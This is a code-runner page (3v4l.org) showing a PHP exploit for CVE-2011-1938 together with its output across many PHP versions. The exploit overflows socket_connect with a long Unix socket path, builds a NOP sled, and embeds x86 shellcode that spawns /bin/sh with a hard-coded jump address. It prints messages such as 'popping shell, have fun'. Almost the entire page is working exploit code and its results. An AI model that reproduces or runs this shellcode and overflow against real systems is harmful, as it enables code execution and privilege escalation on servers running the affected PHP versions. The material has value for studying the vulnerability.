3v4l.org

run code in 300+ PHP versions simultaneously
<?php // Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian // Affected Versions: 5.3.3-5.3.6 echo "[+] CVE-2011-1938"; echo "[+] there we go...\n"; define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3"); define('EVIL_SPACE_SIZE', 1024*1024*8); $SHELLCODE = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0". "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1". "\xcd\x80"; echo "[+] creating the sled.\n"; $CODE = str_repeat("\x90", EVIL_SPACE_SIZE); for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ; $i < strlen($SHELLCODE) ; $i++, $j++) { $CODE[$j] = $SHELLCODE[$i]; } $b = str_repeat("A", 196).EVIL_SPACE_ADDR; $var79 = socket_create(AF_UNIX, SOCK_STREAM, 1); echo "[+] popping shell, have fun (if you picked the right address...)\n"; $var85 = socket_connect($var79,$b); ?>
Output for 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
[+] CVE-2011-1938[+] there we go... [+] creating the sled. Fatal error: Uncaught Error: Call to undefined function socket_create() in /in/BZPAT:22 Stack trace: #0 {main} thrown in /in/BZPAT on line 22
Process exited with code 255.
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40
[+] CVE-2011-1938[+] there we go... [+] creating the sled. Fatal error: Call to undefined function socket_create() in /in/BZPAT on line 22
Process exited with code 255.
Output for 5.3.7 - 5.3.29
[+] CVE-2011-1938[+] there we go... [+] creating the sled. [+] popping shell, have fun (if you picked the right address...) Warning: socket_connect(): Path too long in /in/BZPAT on line 24
Output for 5.2.7 - 5.2.17, 5.3.0 - 5.3.6
[+] CVE-2011-1938[+] there we go... [+] creating the sled. [+] popping shell, have fun (if you picked the right address...) Warning: socket_connect(): unable to connect [22]: Invalid argument in /in/BZPAT on line 24
Process exited with code 139.
Output for 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.6
[+] CVE-2011-1938[+] there we go... [+] creating the sled. [+] popping shell, have fun (if you picked the right address...) Warning: socket_connect(): unable to connect [2]: No such file or directory in /in/BZPAT on line 24
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9
[+] CVE-2011-1938[+] there we go... [+] creating the sled. [+] popping shell, have fun (if you picked the right address...) Warning: socket_connect() unable to connect [2]: No such file or directory in /in/BZPAT on line 24

preferences:
313.95 ms | 402 KiB | 460 Q